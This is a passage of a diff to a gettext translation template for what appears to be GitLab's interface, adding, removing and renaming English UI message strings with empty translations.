+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
